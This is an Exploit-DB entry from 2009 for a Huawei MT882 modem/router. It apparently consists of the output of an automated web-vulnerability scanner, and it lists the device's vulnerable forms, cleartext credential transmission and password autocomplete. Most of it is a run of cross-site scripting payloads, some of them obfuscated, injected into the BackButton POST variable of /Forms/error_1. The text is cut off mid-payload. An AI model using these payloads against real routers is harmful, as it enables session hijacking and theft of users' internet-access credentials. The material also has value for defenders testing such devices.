Exploit-DB #10276
Description: Huawei MT882 Modem/Router - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2009-12-03
Author: DecodeX01

Exploit:
# Version: V100R002B020 ARG-T
# Firmware Release: 3.7.9.98
												#Greets to my bests friends: DeepLook, [R00T], systemfailure, Ciber34, ANDSQLiTor, La_Peke										 #
#Greets to friend: Scuarplex, Crl, KiKoArg, ZeRO, DNSX, PunkiD											
# DecodeX01[at]gmail[dot]com 		
#

Target device ip 10.0.0.2:80 (default ip:port)

Server information
Responsive =============>	True
Server banner ==========>	RomPager/4.07 UPnP/1.0
Server OS ==============>	Unknown
Server =================> technologies	 
 
Threat level

			Threat Level 3
			
More than one high-severity type vulnerabilities have been discovered. A malicious user can exploit these vulnerabilities
and compromise sensitive data from user's login (inet access data), or any action he want thru xss.
 
 
Alerts distribution
 
 	Total alerts found	256	 
 
 		 	High	252
 	 	 	Medium	0
			Low	1
 	    	Informational	3
 
List of client scripts
These files contain Javascript code referenced from the website./General.js
List of files with inputs
These files have at least one input (GET or POST).

/Forms/fresh_pppoe_1 - 1 inputs
/Forms/rpStatus_argen_1 - 3 inputs
/Forms/rpwizard_1 - 3 inputs
/Forms/rpDiag_argen_1 - 3 inputs
/Forms/rpNATvirsvr_argen_1 - 12 inputs
/Forms/rpwizPppoe_1 - 5 inputs
/Forms/rpNATdmz_argen_1 - 3 inputs
/Forms/error_1 - 1 inputs
 
Alerts summary
 
	Cross Site Scripting
	
Affects	Variations
/Forms/error_1	10
/Forms/fresh_pppoe_1	9
/Forms/rpDiag_argen_1	19
/Forms/rpNATdmz_argen_1	19
/Forms/rpNATvirsvr_argen_1	110
/Forms/rpStatus_argen_1	28
/Forms/rpwizard_1	47
/Forms/rpwizPppoe_1	10
 
	User credentials are sent in clear text
	
Affects	Variations
/rpwizPppoe.htm	1

	Password type input with autocomplete enabled
	
Affects	Variations
/rpwizPppoe.htm	1
 
 
Alert details
 
 	Cross Site Scripting

				Severity ==========> High
				Type ==============> Validation
 
Description
 
This script is possibly vulnerable to Cross Site Scripting (XSS) attacks.

Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code
(usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted
or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens
retained by the browser.
 
Impact
 
Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a
user in order to gather data from them. An attacker can steal the session cookie and take over the account,
impersonating the user. It is also possible to modify the content of the page presented to the user.
 
Recommendation
 
The script script should filter metacharacters from user input.
 
Affected items

##################################################################################################################################

/Forms/error_1
Details
The POST variable BackButton has been set to %3Cimg%20src%3D%22JaVaS%26%2399%3BRiPt:alert%[PII_REDACTED]0282%29%3B%22%3E .

BackButton=%3Cimg%20src%3D%22JaVaS%26%2399%3BRiPt:alert%[PII_REDACTED]0282%29%3B%22%3E

##################################################################################################################################

/Forms/error_1
Details
The POST variable BackButton has been set to >"><ScRiPt%20%0a%0d>alert[PII_REDACTED]82)%3B</ScRiPt> .

##################################################################################################################################

/Forms/error_1
Details
The POST variable BackButton has been set to &lt;/textarea&gt;<ScRiPt%20%0a%0d>alert[PII_REDACTED]82)%3B</ScRiPt> .

BackButton=&lt;/textarea&gt;<ScRiPt%20%0a%0d>alert[PII_REDACTED]82)%3B</ScRiPt>

##################################################################################################################################

/Forms/error_1
Details
The POST variable BackButton has been set to <script>alert[PII_REDACTED]82)</script> .

##################################################################################################################################

/Forms/error_1
Details
The POST variable BackButton has been set to <ScRiPt%20%0a%0d>alert[PII_REDACTED]82)%3B</ScRiPt> .

BackButton=<ScRiPt%20%0a%0d>alert[PII_REDACTED]82)%3B</ScRiPt>

##################################################################################################################################

/Forms/error_1
Details
The POST variable BackButton has been set to >'><ScRiPt%20%0a%0d>alert[PII_REDACTED]82)%3B</ScRiPt> .

BackButton=>'><ScRiPt%20%0a%0d>alert[PII_REDACTED]82)%3B</ScRiPt>

##################################################################################################################################

/Forms/error_1
Details
The POST variable BackButton has been set to --><ScRiPt%20%0a%0d>alert[PII_REDACTED]82)%3B</ScRiPt> .

BackButton=--><ScRiPt%20%0a%0d>alert[PII_REDACTED]82)%3B</ScRiPt>

##################################################################################################################################

/Forms/error_1
Details
The POST variable BackButton has been set to </title><ScRiPt%20%0a%0d>alert[PII_REDACTED]82)%3B</ScRiPt> .

BackButton=</title><ScRiPt%20%0a%0d>alert[PII_REDACTED]82)%3B</ScRiPt>

##################################################################################################################################

/Forms/error_1
Details
The POST variable BackButton has been set to %3Cimg%20dynsrc%3D%22JaVaScRiPt:alert%[PII_REDACTED]0329%29%3B%22%3E .

BackButton=%3Cimg%20src%3D%22JaVaS%26%2399%3BRiPt:alert%[PII_REDACTED]0282%29%3B%22%3E

##################################################################################################################################

/Forms/error_1
Details
The POST variable BackButton has been set to email@some<ScRiPt%20%0a%0d>alert[PII_REDACTED]82)